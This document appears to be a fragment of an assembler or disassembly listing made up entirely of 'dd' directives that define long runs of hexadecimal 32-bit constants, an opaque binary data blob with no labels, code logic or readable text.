dd 0A9A0C815h, 5E596C44h, 8064133Fh, 0EBB11D90h, 2376B63h
dd 7B0C5A74h, 1060422Ah, 0F100C7C5h, 0CE9E918Fh, 33F5E49h
dd 41ECFB6h, 0A2984FAEh, 71012DBBh, 1B2BDCE4h, 0C5F47A63h
dd 0C2E50052h, 5B5F9237h, 850014F4h, 0F8475843h, 790334h
dd 9E6338BEh, 59062EB4h, 953051ECh, 0F2903225h, 723E5C09h
dd 0E4B2F00Fh, 80247427h, 0F74D3A12h, 9BF65502h, 4020796Fh
dd 73E8FAA6h, 7E4900A0h, 51F092AFh, 0DF007F0Ah, 0C2EC0C6h
dd 6CED67h, 5AA6CA9Fh, 0C720D13Dh, 0E800BD70h, 840F9E8Ch
dd 313F9ACh, 0C834F093h, 14D8977Ch, 0E40079E0h, 593556C6h
dd 13E8889h, 0D22CDB5h, 0C49B84A7h, 36001B4Ch, 33C857CBh
dd 2E4650h, 6099D09Fh, 0B5A9293h, 4B9C080Eh, 94C160A4h
dd 0F8C9CF19h, 7E1004Eh, 93D802A9h, 0AA012272h, 0FBF32E45h
dd 9EFCD9A4h, 1CB9EEDFh, 3931D743h, 2BD1083h, 6780A299h
dd 6F00F2FEh, 2CE90D07h, 787E814h, 5189AC3h, 917EF703h
dd 0EC3F75EEh, 6C076B69h, 0CFBC3057h, 0CD2C9F20h, 6F940B65h
dd 2200FFBEh, 84D3485Ah, 0D0A78700h, 0B3037D07h, 2577F56h
dd 0D85A47A6h, 90801C10h, 7679B9C6h, 0DBA86800h, 0C8CAC0EAh
dd 0EF9D2CE5h, 5E7C0768h, 0D0D7578Ah, 9960D404h, 399E210Fh
dd 0AE3B605Ah, 762AC1h, 52493D0h, 4E55C265h, 0E61B2500h
dd 8293CBCh, 0FEA20323h, 0ECE5830h, 61B7EBC8h, 93007590h
dd 0CDCB71B4h, 0FEBC36h, 53C84A25h, 0D7075F19h, 2943DC01h
dd 0A1EB0FBDh, 0CE47E4h, 0D93A5427h, 0FE440286h, 2E33C30Fh
dd 56A82031h, 1EF48C24h, 109C7CAh, 0AD7D4F8h, 471087FDh
dd 0DE0049EEh, 3B3D870h, 3AC46DB7h, 8C9857C1h, 1E000768h
dd 0B93EBCA6h, 60D3E328h, 2F0F78C0h, 0CC380C15h, 0C94302BBh
dd 0E35A3BE1h, 3713F845h, 1F80733h, 60FA269Dh, 4B52D1C7h
dd 0A1303400h, 54467F7Dh, 79C7020h, 0B760C45Bh, 0FC71F312h
dd 1BAF2E80h, 0DA034800h, 0BD94EFDBh, 0FFB21DD5h, 7D590032h
dd 4D7B5E15h, 11B06E00h, 278A804Ah, 0FEE109A6h, 5480BABFh
dd 0A2D4E04h, 0DC81C500h, 7661D15Eh, 0E2AD0511h, 801F7A91h
dd 9214A665h, 0D5218F00h, 46398549h, 0DFBD00A7h, 437061E1h
dd 0F44C3264h, 0FDBC00E0h, 7F82F762h, 79E54C7Eh, 4C480900h
dd 0CB787690h, 11005EECh, 1434B732h, 0FFAD581h, 1CAF7959h
dd 4DEE2280h, 6800A553h, 28AE327Bh, 97845Ch, 0D72CCB16h
dd 23E10996h, 0E7647400h, 6FF86544h, 0E4171C4Fh, 2BA600FFh
dd 0B526E0FBh, 907B7000h, 0A78C9E42h, 921D0E06h, 0B300B205h
dd 375A2FCEh, 9CD87C00h, 0C35C8D0Ch, 0EC450062h, 48AA8A5Bh
dd 239F007h, 514E00A7h, 65908F17h, 553E1953h, 0CBEB9CCAh
dd 9193BAA0h, 110A561Dh, 0CC268Bh, 0FAE90C76h, 29AB0F9Dh
dd 9F201DD1h, 0E56E1C36h, 3038DF30h, 0E35D018h, 48F5FEE6h
dd 7C002FA9h, 0A310E3EAh, 70C84C00h, 0CBEFB03Dh, 0F65930C5h
dd 9C619D28h, 7241CA00h, 0F060315Ch, 6E691DACh, 0F1D00059h
dd 0D48F4C6h, 0EA56710Bh, 0EBAC00BBh, 3C505A69h, 0F41C7AADh
dd 6180BD1Bh, 659523B6h, 4C1E4E05h, 2500E92Ah, 9077553Dh
dd 66890101h, 0AF9DBD8h, 41C8CC98h, 47789B00h, 585EBE0Eh
dd 3FFC6Fh, 0F5AEAFA8h, 0D5CA18EBh, 644E542Eh, 873A1028h
dd 1893BBA6h, 40184C2Ch, 94AE004Dh, 1E09358Eh, 4584449h
dd 0DC1B1D40h, 0F8C9DC0h, 0F0D72Bh, 7B6AD0F4h, 0A943AE64h
dd 85913600h, 90664D25h, 0DCD200EFh, 0C79ABC1Ch, 3C74589Dh
dd 1E26CE16h, 0E12CF207h, 564D8F90h, 0BF8E005Ah, 0DDF737D1h
dd 99E222BEh, 41714600h, 0F4BD05DBh, 45FC0044h, 859DC2DAh
dd 0F50BA97Ch, 8FB63C3Fh, 234E2050h, 0CB653Eh, 0BBF9FC76h
dd 0E348CD24h, 711C4A00h, 0EA44B51Bh, 0FBD403CFh, 0A88018A2h
dd 0E87DC0CFh, 6A008F83h, 0C1D81559h, 134F90h, 30B7C7C6h
dd 0A9D331EFh, 52818807h, 7BF993h, 4595E494h, 0BD160A23h
dd 0E17026h, 0EB73386h, 0C61E79B4h, 4035900Bh, 44C5F81h
dd 0D4FAF840h, 6B10A0B3h, 0A33202D5h, 0C9F8C78Fh, 6608C180h
dd 1D7BB7AAh, 39EFFC3Fh, 842CF286h, 0CA8150DDh, 1886D13h
dd 0AFA2E8CFh, 0F308E260h, 92B034h, 866198A5h, 0D27DBEBBh
dd 2D843905h, 44003FAEh, 36B4FBC6h, 0C44F03B7h, 0D70EBD20h
dd 0DF15C8E0h, 65E63A00h, 0FE70288h, 51140025h, 0F5BDACC6h
dd 0F4003E16h, 8E53DFFCh, 0F62FE0E9h, 91440785h, 80935450h
dd 2655A37Eh, 0DE94D425h, 6FBC0070h, 7006EAF8h, 7220FC18h
dd 66EBF0h, 76B5D5ADh, 1EE9D4B1h, 0E491C100h, 43E68460h
dd 68FF1CB3h, 0E2A6C267h, 0BC80A1C5h, 88CC09B2h, 3E15E003h
dd 0C854602Eh, 764A788Fh, 84C85085h, 104900CAh, 0F25228B7h
dd 39003A9Eh, 23FC3427h, 9F68671h, 1D3B437Ah, 87310301h
dd 38ADFCB5h, 61418100h, 0A06E13BAh, 5080F559h, 0FF51F47Fh
dd 0FB00F054h, 0F8457541h, 0EFC61Fh, 0D24FE282h, 7A50DE81h
dd 99EA9D00h, 42795B17h, 90C56375h, 6E9883DAh, 0A92651DDh
dd 3DD02Bh, 9305A28Bh, 0F89EA41h, 0E50B9459h, 908A1C6Fh
dd 53190394h, 0A8A8B521h, 300CCDCh, 655CD4B0h, 0EA1849B1h
dd 10E7C7Fh, 363C2EFCh, 60E0C3FDh, 8E0D856Dh, 182B3986h
dd 532230h, 25FAFD4Dh
dd 990BAE83h, 5E068503h, 0D9C8D6h, 8A51A544h, 0F03AE94Ch
dd 7452FE07h, 0AD700610h, 31C25B1Fh, 0A8507BE5h, 0FB3080CEh
dd 0BD9BCCC3h, 2C680085h, 35F067B7h, 0AC00DB17h, 9486E093h
dd 0C1505BF4h, 0D576A138h, 13080D2h, 0FDB46DEAh, 1C50C034h
dd 0A3C522DCh, 4A45FA00h, 0C77AF516h, 7CFD76A7h, 4CF1E4CCh
dd 6F006862h, 107F03Fh, 5F03EA68h, 0F4CD76DCh, 757000DFh
dd 0A6360498h, 97004B4Eh, 0E0D99A27h, 0F03B38CAh, 0AF57005Dh
dd 6ED087A5h, 9907031Fh, 1827171Dh, 0BC447BC0h, 0E51600D6h
dd 0C54DFFB1h, 3C00FE38h, 0F2C0706Ah, 0DDAB22Ah, 0F480306Fh
dd 0CA7DFDF2h, 0B82C1EE0h, 0AC60AD00h, 0F34F04DCh, 0B1DF0019h
dd 0C08838A1h, 0D400B279h, 6FD82DB5h, 0C11B23h, 58602BF0h
dd 733C5680h, 5F96BA00h, 37CC8DF7h, 6D1400A0h, 0D636192Ch
dd 0DB71600Dh, 2E98E600h, 7B0EA75Bh, 0BD820049h, 0D2DC88DDh
dd 530CD3B2h, 9087CDD4h, 0E4C87A80h, 34040021h, 0C9309B37h
dd 0E4ECBE33h, 0F3F29400h, 0E6CB90EFh, 0CCE0300Bh, 150A4238h
dd 39C7B10Eh, 0FA4B205Fh, 0F01222FCh, 4CA20054h, 0C3E9E1CEh
dd 5F5ACADBh, 0BD002FE8h, 1FD89777h, 4E0040B4h, 0A8C511BEh
dd 0B3460Ah, 8ED69423h, 6149E3FBh, 25018CEEh, 0C7DBB30h
dd 56204D44h, 43870070h, 0CB669D35h, 0D80FC205h, 60302D32h
dd 0CEC6D583h, 383FF062h, 0AC0F2AD1h, 9AA03DF3h, 323A380Ch
dd 24DB18C0h, 0DA194Eh, 0C0F1D481h, 92FC8815h, 0B34C3701h
dd 16F35FA1h, 6F2EEC0h, 0D16CEB94h, 0D20F5885h, 87349295h
dd 9D5075E0h, 304636Ah, 80591FBEh, 0B0FFC017h, 0B181F6D8h
dd 5119B960h, 2BD79D7h, 0C5B0CBC8h, 3AC056D1h, 31010C9Dh
dd 0E5E7E977h, 8CDCFF68h, 0DE2800EFh, 0EE364F60h, 0F60F6966h
dd 0A0203C1Fh, 0D0A08076h, 0C1B6F4E3h, 3D504150h, 0AB57609Fh
dd 88BDB003h, 0ED62858Eh, 226116C0h, 0A1EE00F4h, 0FE50B2A8h
dd 8300F3B5h, 0A9988832h, 1CFC875Fh, 0C0A7B8AEh, 79175BCBh
dd 830077ABh, 0EB1DB6FEh, 6CBABDh, 71E29E41h, 40BF8463h
dd 8794700h, 8A782644h, 807F00B1h, 5612F45h, 0E200E934h
dd 1B63A335h, 8546CCh, 0E7F4FF6Ch, 4B9D12F3h, 0E688C454h
dd 53A71E00h, 0DB0B1C42h, 0C0A40BE7h, 4700C250h, 1438D09Ch
dd 30C0B8FEh, 0E17EB66Bh, 2886FC63h, 3E84B0CAh, 4A00A3CEh
dd 688F78DDh, 0EC006424h, 0E29F8A5Fh, 389EFCB5h, 0D1003A4Ch
dd 0DD43607Dh, 0B40031A8h, 0C0448114h, 14075CDh, 78E40807h
dd 0E0195BF9h, 310001B0h, 0A3C6ACDCh, 866F0h, 941F4E74h
dd 0EB702C98h, 0E478E700h, 8AEDEE71h, 0A72A00E0h, 1CA596CEh
dd 0E714A18Dh, 0B020AD20h, 0E7044D83h, 7B3EA208h, 0C03A0Bh
dd 0DA2F78E0h, 58CD3684h, 0DE00D796h, 0AE591B06h, 0A23EFCC8h
dd 0B4980ACBh, 4830B2F5h, 32023DEh, 0F09F953Bh, 7B9857CDh
dd 8000E551h, 2A62D44Eh, 0ED939E2h, 94041069h, 937CCAEEh
dd 0AD6200E0h, 0D90882C8h, 0C6F7F800h, 87066924h, 136E0D7h
dd 0F2EF7821h, 0C5F10840h, 5DA440CEh, 1A80418Eh, 587A00E5h
dd 2C1F90CBh, 60F206Ch, 40D11083h, 149A3B4Bh, 0E988001Bh
dd 198AB496h, 0B8C3820Eh, 0F9374D3Ah, 7885C83Bh, 70627791h
dd 53B17580h, 4646F278h, 51B5C580h, 5407EDB8h, 0C2CDA5D4h
dd 8CF25CA7h, 0A9E4273h, 0E1007EF0h, 0C718DF3Ah, 0E69D00F1h
dd 1F9CCAADh, 0F900723Bh, 0D1CDED9Ah, 369AC63h, 59258208h
dd 821F51F7h, 0AB43FA8Ch, 0DAADA446h, 3F808043h, 5347D970h
dd 24802071h, 8D1BECF5h, 13310E88h, 0E43C21h, 9FC8F116h
dd 0D900430Fh, 0C7F91696h, 2231E0h, 0D862541Ah, 77DD39FFh
dd 7AEF8F00h, 0F2E29787h, 110C01B0h, 0D2267637h, 7930FC2Eh
dd 1F8AA100h, 0CDE49669h, 0B47F30E0h, 5584F208h, 3EF59B00h
dd 0E3160E43h, 0D60900D1h, 640D1135h, 28C0B7E5h, 0D85B4ECDh
dd 5C410089h, 0B51D81BAh, 8B2C152Fh, 16008F12h, 0C0F5A6BFh
dd 4D663083h, 0CAFA75CCh, 0CECBE10Ch, 0EA9CA090h, 95F5240Bh
dd 1B003F34h, 775610EAh, 39019354h, 5C0ECE4Bh, 0E6E41F0Bh
dd 3BD9C02Dh, 0BED09384h, 0FC95B200h, 366D7102h, 77DE00EDh
dd 0AF5870EFh, 1E026FD4h, 6BB17820h, 907C40BBh, 27E7017Fh
dd 0E63B7BB0h, 50BE1Ch, 71AE174Ch, 1C4DC9D3h, 40AC9686h
dd 42BFBD8Dh, 17009B0Fh, 0A515DDFCh, 0FBABE0h, 60BB7B2Fh
dd 0B1334BD0h, 0A0188CA8h, 3C6669C0h, 7BF6CB6h, 116740B7h
dd 0C19A8105h, 0F97C817h, 0EFB40666h, 9D7338h, 8BAB71BBh
dd 0A9C798DDh, 0EF903CB8h, 7FED9200h, 446DE97Ch, 0A420E546h
dd 0ECDB0305h, 19FD175h, 55932680h, 36762406h, 155969AAh
dd 0F47A8FE7h, 4FB53403h, 40003AB9h, 731D4AFFh, 58FD700Bh
dd 160037B6h, 0FBAA6E2Ah, 6000E293h, 0AD8EF4FCh, 22FF3Dh
dd 0CE7383BAh, 7DC01543h, 97D1A100h, 24CC4E7Ah, 0FC1600F2h
dd 0E7C9B3EAh, 9907016Bh, 2DCD87A0h, 802BAE60h, 971E0B4Dh
dd 0C003646Ch, 0F988FB14h, 0C403FDD9h, 95EDACB6h, 0EAB4F03Eh
dd 0CCAD00B9h, 63938B38h, 0A200BAE4h, 895267D7h, 7AA5DE98h
dd 5CEB0FD1h, 72601F28h, 6B4190D3h, 2D1A3901h, 5BC5755h
dd 9DD2F5DCh, 4F028000h, 697C9D6Bh, 3A890B60h, 0FC82776h
dd 800A1CA9h, 9554CC00h, 0DA002A17h, 0FE2078B8h, 0C07546D1h
dd 0C13F4B31h, 0E100E876h, 0A1091FF1h, 0A960BAEh, 257B83F8h
dd 0BBB00124h, 0DD7842E1h, 0C0430879h, 5CDF32E0h, 2700C0B8h
dd 0A5DB54B2h, 0C8472FFh, 39708112h, 63188CA0h, 4AD01E21h
dd 0BC863E71h, 14870201h, 84721CF2h, 0CFC2FE79h, 0A2F00323h
dd 0D143C08Ah, 2013F418h, 0B8009BAEh, 1DF5F34Ah, 17A5C60h
dd 82B6C25Fh, 0FDF0B123h, 0B7D840A4h, 7F3CADD4h, 25FA0068h
dd 753683B5h, 161CB8B8h, 318CBDh, 68C20229h, 6000EF98h
dd 0DAE1EB9Eh, 0AEBD88h, 611C6B6Eh, 0AA1A3B47h, 271D1E00h
dd 5A5C21Bh, 0E9D800D5h, 89B25ABBh, 21775788h, 0C0F004AFh
dd 3AB80F32h, 7E3BD72h, 46E0DE9Bh, 0FA3B51CAh, 38F2982Ah
dd 0E6F30h, 0AF4017F6h, 2429A66h, 5E62AC06h, 53182EDBh
dd 5FC23450h, 4C95950Ch, 80A84603h, 0EA01E039h, 0A7FE00D8h
dd 12D71725h, 0D1F831Ch, 980351EEh, 117E8Fh, 688B5C18h
dd 2ADB3E57h, 16909910h, 2818B82Ah, 540CA2CAh, 0FAEF18E0h
dd 0E449C47Fh, 94D1209Ch, 0A879C127h, 8A8874FDh, 3CE03F18h
dd 0CF90C0Ah, 24CBA90Ah, 3C8C500Ah, 2A05EA06h, 383C2849h
dd 0D01E190Ch, 0C543179h, 5830A973h, 5070245Fh, 226C3CCFh
dd 5210EC7h, 84B014F3h, 22A46EC5h, 919B4A8h, 0AF403C52h
dd 0C8EEA30h, 4F8F4408h, 0C60C40Ah, 0DB78DC08h, 68B8610Ch
dd 22CB1964h, 0E4080D30h, 82B9DA8h, 0D500376Fh, 0D0834828h
dd 3491C0h, 0BD2CC3C5h, 0A8017B8Bh, 0E3D3A77Eh, 0D1F4D76Fh
dd 537C00FAh, 8B4E8529h, 1602BE72h, 5B470344h, 8E244820h
dd 0EEA53E36h, 79F2B860h, 0ECA08A07h, 0BF28953Bh, 0C0080B0h
dd 76C99C70h, 2E6F9DEh, 2C4A6F55h, 5C804F85h, 5979354Eh
dd 0A1451F30h, 60ABEC8Bh, 6FFC88D7h, 0E503C13Ah, 1CCC0280h
dd 550B87Dh, 9C8809ACh, 6C28DCDFh, 0A210F81Ch, 2C78A003h
dd 1B7BBh, 0D7726EB1h, 0DA23859Ch, 58480A7Fh, 20B07A4h
dd 890079Eh, 13CBFEDh, 8C42738Fh, 8804C0h, 161BA9h, 7D279D56h
dd 0CAE14052h
dd 20D88260h, 0BBC5Dh, 50423CC4h, 29A18F5h, 527E790Ah
dd 1E001456h, 9C078BAAh, 0D534A815h, 80B9008Ah, 81BC9323h
dd 2C00C869h, 8F647859h, 249B4457h, 0F81C63h, 4A7B1BD6h
dd 0AD00EF8Eh, 573A392h, 697BCC5h, 9360A416h, 9020B82Dh
dd 203C0A56h, 0B844D9h, 97458199h, 9D01DED8h, 59F15458h
dd 0AC44B64Ch, 0C0EF4983h, 7A2B2D41h, 89613E09h, 68F95B14h
dd 0E5352800h, 0E3B6A5Dh, 570040AEh, 0D0E2CD17h, 0A9375Dh
dd 532F92E4h, 0EC02A869h, 4B013FFCh, 204F35B7h, 0E8403AFDh
dd 0F048E30Bh, 108562E5h, 0F4A35103h, 89CE2B77h, 73329103h
dd 18D683BCh, 0B8B1A318h, 0CC010B1Fh, 0C6935BE2h, 0E0EF3F5Ch
dd 6195A90Fh, 0C1102084h, 0A7A83458h, 5147DC00h, 0A08CC37h
dd 188A6284h, 8494400Fh, 1DBEB801h, 0F0B52EA7h, 7D065820h
dd 0E77201E0h, 0D42FF888h, 0D8CC4193h, 0B018204Ah, 9269B9FFh
dd 7C41DE56h, 0A98EE851h, 0C5E02C31h, 7CE70103h, 0CBDBAA5h
dd 2D4D00FBh, 0FCDB4CD5h, 69CA0B0Eh, 80010A09h, 98746567h
dd 91A0C258h, 40B2606Bh, 0B903788Eh, 49CFB614h, 527000F4h
dd 0F05617A8h, 1C800A0h, 0C3C07858h, 0F1009153h, 6150300Fh
dd 520312Ch, 21391A43h, 99BC4F6Ch, 98ADDA60h, 270B7B17h
dd 803A6530h, 595185A7h, 0D8845482h, 0A0686AA2h, 0F1FF04B0h
dd 0E008C88Bh, 1E7F9B40h, 8007BE34h, 7CFBF5EDh, 394C411Bh
dd 3F944C34h, 1EC48EEh, 0A4973A7h, 0E98C77C4h, 9170CAD0h
dd 995F5602h, 0B0964AB7h, 11414030h, 9C1A78E7h, 9F0676D0h
dd 0D827847Ah, 74F0A809h, 7480053h, 3F95CFC3h, 7E087381h
dd 5A016317h, 1C94F762h, 40D162CEh, 698D9Ch, 0FF0ABCDDh
dd 21CCEF49h, 0C0DCCF48h, 7D6DB8D7h, 58910097h, 0C8AB8380h
dd 31262038h, 10020465h, 6993BE26h, 0CFC44CC4h, 0B2AE0083h
dd 66B69C8h, 544C4E2Ch, 0C00E8010h, 0FB5142h, 26FF315Bh
dd 2F22885Dh, 49008471h, 0C4CBD766h, 0FD8607h, 57326145h
dd 41E3DE74h, 0A78C504Ch, 362F79E1h, 4004F880h, 0B450B166h
dd 509389E8h, 99ADD300h, 4CC1CDA6h, 0F4C05853h, 2E6E38AFh
dd 0B9E0105Bh, 250E3D67h, 2AB0F9Fh, 53F8120Ch, 544314C8h
dd 713A9800h, 782D1517h, 0BEDF05D7h, 0C42437A7h, 7548CC58h
dd 0A9908700h, 0A4E20463h, 841F499Ch, 3BD34000h, 0BB9662A1h
dd 0C09EB018h, 407D63B1h, 670C4E31h, 0E8D6E2D7h, 0C6CD03A2h
dd 44461FA1h, 1EFDCEC0h, 6601409Ah, 1DEFC973h, 0A834B76Bh
dd 0F55C24B4h, 0A74E8008h, 7655CB78h, 29608801h, 8A4C407Dh
dd 871CBEFh, 5C15A431h, 89B60702h, 0DA204097h, 7AA0093Fh
dd 508160C0h, 80C2E3A8h, 272B7959h, 0B7257DF5h, 8088EB70h
dd 2161FE0h, 0C70173DCh, 0E6794F0Ah, 0F957E080h, 6947E4AAh
dd 720051DEh, 53B84428h, 3908A885h, 3D8F424Ch, 809F0009h
dd 55524251h, 4B8D019Eh, 974AB648h, 88882461h, 8038B739h
dd 0C77DC2Ch, 243D3Fh, 3AD02AD2h, 0A08AC387h, 7AAB3609h
dd 631A82C8h, 80285396h, 0EB7531A6h, 19C08907h, 0C6E7FDD6h
dd 0DC775C1Bh, 0AD602470h, 456501D0h, 6438B4F0h, 44751C44h
dd 0D297F600h, 0DD4AD427h, 7471F721h, 880A8C9h, 0ABC54379h
dd 0D103BB52h, 0D9BDA95Ah, 4E90B253h, 0B7152020h, 0D493C880h
dd 0CFA2FCA1h, 0C89079A2h, 77783FE4h, 7508E258h, 412803Eh
dd 9A98148h, 49C3A3C2h, 9C47709Ch, 0A2C54721h, 20082841h
dd 888C70h, 0D0569DC2h, 8A50EDE0h, 890099F0h, 57334CB1h
dd 522962E9h, 0B6153001h, 762ABC7Fh, 7E990048h, 37D48287h
dd 0FA718CA1h, 0A9809B03h, 0C08D9085h, 90AA7513h, 8BE24C08h
dd 0E0E871Fh, 7DE04DFEh, 2F4ED7E6h, 19D29E00h, 0B489947Bh
dd 0B6310108h, 8493686Dh, 77202246h, 5672A800h, 1008C37Bh
dd 229EC048h, 2BA0B94Fh, 469DE100h, 77FE4C0Fh, 0AD2D007Bh
dd 315043F9h, 2C007DCDh, 1BE7EBFBh, 39F39034h, 0CC81CF5Fh
dd 833600Fh, 80AC4539h, 9FB0A910h, 37B4906h, 3194317h
dd 1B6D9DFBh, 80FC5C53h, 79291B5h, 55B33701h, 9B256786h
dd 94076DCh, 24D8D044h, 0C71A7401h, 91028D7h, 0FF5ECCB1h
dd 5CD2A500h, 87005AEBh, 4DA276Eh, 0C500843h, 0F3E11E23h
dd 8500FE30h, 39BAE3F0h, 0AD0F82h, 54ABEDF5h, 48912B24h
dd 0F44E412Ch, 0A7062180h, 39AC43h, 32A85314h, 483472CDh
dd 286FB415h, 0C5F8004h, 573A4A3Ch, 78A40C0Fh, 2307DA30h
dd 0F829E0D8h, 0C78479F0h, 0AD6EC64h, 0E313A210h, 48B3080Ch
dd 1042F042h, 682086DFh, 1C4808C2h, 571E2F31h, 9531FF98h
dd 430CA114h, 0AAF43053h, 65DB22FBh, 62E15810h, 0C1A73134h
dd 153B2481h, 3F318A46h, 360A0C9Bh, 0EB0A48CEh, 991E244Ah
dd 37540CA8h, 0B222E418h, 0C0232845h, 0F687280Ch, 0C14F6518h
dd 347C820Ch, 20F3AC87h, 10C4990Dh, 0B1493900h, 2E6C580Eh
dd 0A1660001h, 0D56D7402h, 1428844Dh, 0A526F0B0h, 86005D91h
dd 0DF3572A9h, 6CFA0E5Eh, 6BC36F02h, 9FD93348h, 994AD06Dh
dd 0E1AEC200h, 815F4904h, 1C7B90h, 0C36F39E0h, 0D7199F7Ah
dd 4D7E1200h, 232CEAA3h, 5274CFh, 20E38E5Bh, 0FDF3F42Ah
dd 57663700h, 0C5DF6B61h, 0DBF103D6h, 0C1F02CF9h, 6B12080h
dd 0EA848900h, 518C701Ah, 0EF7B03h, 0C849F4F1h, 3A485A9Ch
dd 555EA71Dh, 5B90A003h, 56DCE83Fh, 0F0CE878h, 432F9524h
dd 8F034980h, 530152B9h, 22454197h, 1C491173h, 1232F360h
dd 0E7123h, 0DCCCB698h, 0AB01F246h, 896496C4h, 4C202AE6h
dd 0EE05009Fh, 39FE01A3h, 0EB2E72D8h, 6D0040ABh, 0E152F213h
dd 38D60443h, 804B64C2h, 0C0EE6BD0h, 8A5B0A1Dh, 45D00D00h
dd 0E539D171h, 3A9F299Ch, 261D0800h, 0D95F5575h, 0BB7D8401h
dd 0CACB0E6Dh, 1A824D0h, 0EB29D474h, 870DF2CDh, 0AC5F33B8h
dd 8139A470h, 0B65E2ECh, 6EF0D217h, 0E7AF3280h, 5300CDABh
dd 0EB1FE33Ch, 9BCBBDh, 0D0F46C3Fh, 8A99BE85h, 2B56FF00h
dd 0A6DB0E57h, 0F79200DCh, 6D99B18h, 5201073Eh, 0FA622E3Ch
dd 0BDC45F56h, 0F53B0033h, 8B43F78Ch, 42143652h, 0BC587713h
dd 0ED4823F1h, 0A51A7950h, 25B5804Ch, 26DD1E5Eh, 0C51C107Bh
dd 4A4129E6h, 616F3D58h, 0C4CCF4h, 0DEF2607h, 0A87F623Eh
dd 0FF81AA1Fh, 362875C0h, 0D84A359Bh, 0E8F33050h, 9C1617F4h
dd 0A1E3358h, 0EBBB7A80h, 521B0h, 3432A6C5h, 19F59EC6h
dd 0FA52300h, 9DB2B755h, 0EE3B0030h, 7748AF22h, 0C6186BDEh
dd 32B03875h, 9B7587h, 667F9086h, 53C06897h, 0A1D8E300h
dd 0D5E4C239h, 54520938h, 9A006F1Fh, 64CFFB74h, 92A15D01h
dd 6C2CE7D0h, 0B93848D6h, 0C6C7009Ch, 9A4F1121h, 0F6523B76h
dd 0BAB8ACh, 2F658A53h, 3315CC49h, 0AFD15E09h, 0D0943BCDh
dd 190D0CE7h, 0C6D9A23Bh, 0D8CEF4ECh, 0C0445FF9h, 6CDEB069h
dd 0D89E0361h, 80740333h, 0ECD1C4D3h, 342625h, 1372566Ah
dd 0E15E43Ch, 0ECAD758Bh, 82F90240h, 0E891A870h, 91871ED8h
dd 79E0EEDCh, 2632AAA6h, 0CD565501h, 86AB967Ah, 1C8494F2h
dd 0C0C013A0h, 76F478B4h, 6200EDD1h, 0D515594Fh, 680CA6h
dd 0F1B30FA1h, 0CF19E811h, 3B4C5600h, 0EEC0984Eh, 4F61024Ah
dd 25D67417h, 765D6840h, 5B89F700h, 0E090801Ah, 0F960138h
dd 0AC62354Dh, 40D04DBDh, 3A7C2064h, 0D96CC304h, 0CF2B6D2Ah
dd 3FD54442h, 43308C8h
dd 6C506121h, 5DBDC0B9h, 6B0090A5h, 0EED41070h, 127F131Fh
dd 2BDAA159h, 0BDBF8F0Ch, 6D36E300h, 91E9F5ECh, 0E60E0004h
dd 0AB11053Eh, 2B0AAC79h, 0FC3DE279h, 7E3F0955h, 7F053680h
dd 75529D0Ch, 82423FF4h, 9E8A5ABDh, 3A809C43h, 7F34256Ch
dd 0C028DB88h, 0AC68483h, 29C4ACDFh, 7901B45h, 61CF8EBEh
dd 30106E52h, 17068674h, 72E621F6h, 1488F030h, 10E52604h
dd 21C1FD02h, 2C436BB4h, 0F4D9A0C0h, 66BAC318h, 113810h
dd 0D210E2C0h, 79F328AAh, 3998B8EAh, 5377BC02h, 60FE3DCEh
dd 0D7F5F9h, 0FC104ADDh, 83F3361Ah, 0A51C8F90h, 59002C81h
dd 0BA58C4BCh, 0C94D0008h, 96798E0h, 7800872Dh, 77FE3C1Fh
dd 2D52755h, 40759CD9h, 90E0AFABh, 0E6048DC4h, 34CB33DCh
dd 5D73EB80h, 4C11187Dh, 0EFBC48EDh, 0CB788300h, 0D5AEFE56h
dd 0C7A47840h, 40524EB8h, 0E05FB3B7h, 68D92700h, 9B072A4Fh
dd 0F67571h, 5814C10h, 691BFE9Fh, 0AAD98F0Eh, 7FF767BDh
dd 61190CD0h, 60747B64h, 0EB94907Ah, 8D1EC55Dh, 42BBDA5h
dd 89E66040h, 8BAC033Fh, 4775282Ah, 0E3A19AEBh, 7CBF20D6h
dd 71BDA8C0h, 147F1D76h, 0B77AB830h, 3DD3E500h, 9A50B10Fh
dd 27E7D71Dh, 0FAD22D80h, 3E3665h, 44C34C97h, 0AE4B8C9h
dd 0D8DAF600h, 66706848h, 56769Bh, 0B8C769A8h, 535E1FA2h
dd 149E7400h, 0F977CD2Dh, 8DF309A3h, 0EC07B2C3h, 80DAE715h
dd 478FD245h, 21257704h, 0A9C17359h, 0FDF8A1Ch, 610E7F8h
dd 9A031720h, 0C70FC2E4h, 81ABE30Ch, 0AC131B0Eh, 7DBF53E4h
dd 6D061245h, 32D009Ah, 0EC882E4Bh, 9554D73Ch, 6605B1Ah
dd 4D965FCCh, 96162B9h, 9080D672h, 9DCB7684h, 8552D200h
dd 0ED5E09D0h, 3A3502F9h, 0D5D9C332h, 97418C80h, 467455DBh
dd 0C1920300h, 98C5E82Bh, 40FD00A0h, 2048EEB8h, 0FE039B14h
dd 0F1042EAh, 0A80EC324h, 68C178Bh, 0C12DFFC9h, 1F002870h
dd 738E427Eh, 1E4F2584h, 472B5288h, 10C86650h, 652C0C51h
dd 7D03DBF6h, 0BB623C3Bh, 6CFE889Ch, 5B8F00A7h, 0A0F039E9h
dd 23007DE2h, 35D52D91h, 31D4F656h, 63400549h, 0C453C8FCh
dd 5E586700h, 83C93C7Ch, 0C8760FF7h, 0B340668Fh, 0BFDCAD9Ch
dd 187BF200h, 0F89863E8h, 503B000Ch, 95F0C8A8h, 56015196h
dd 0AAFF92A3h, 808060DEh, 77860650h, 0ED0790FAh, 411C8ECCh
dd 8CB95880h, 0E2940056h, 1D5F9EB1h, 0E1003F84h, 7919A48Ah
dd 1E2738A1h, 0C0ECC742h, 2EEAAEDCh, 0D66026Fh, 6587779h
dd 0DE7CE993h, 8300797Bh, 37503A5Eh, 103BE0Eh, 24279822h
dd 0D09299C5h, 0AC00BC83h, 2D909AE1h, 0FB1831h, 0C682E013h
dd 5E485040h, 2C96A000h, 761C27EEh, 0D7F40Ah, 3A5C77FFh
dd 707F83A9h, 22119300h, 87FA7504h, 0E825298Eh, 8C285250h
dd 982A0050h, 0FD6A9D5Bh, 8791131Ch, 27996200h, 233F2E7h
dd 0C972CF5h, 0EC97FBC5h, 60011D08h, 0C1A5DDD9h, 390E9A74h
dd 20D0C9CCh, 82279CC5h, 3CF74820h, 7B80673Eh, 0C42512A1h
dd 892AEAB3h, 8202646Dh, 0E18EDA32h, 507E19A9h, 0BCEE88B4h
dd 41D9ED00h, 0B3982542h, 7A551202h, 0D71823C0h, 3534F898h
dd 19AC9750h, 0CEA02407h, 52807B3Ah, 4CB56196h, 3100F43Eh
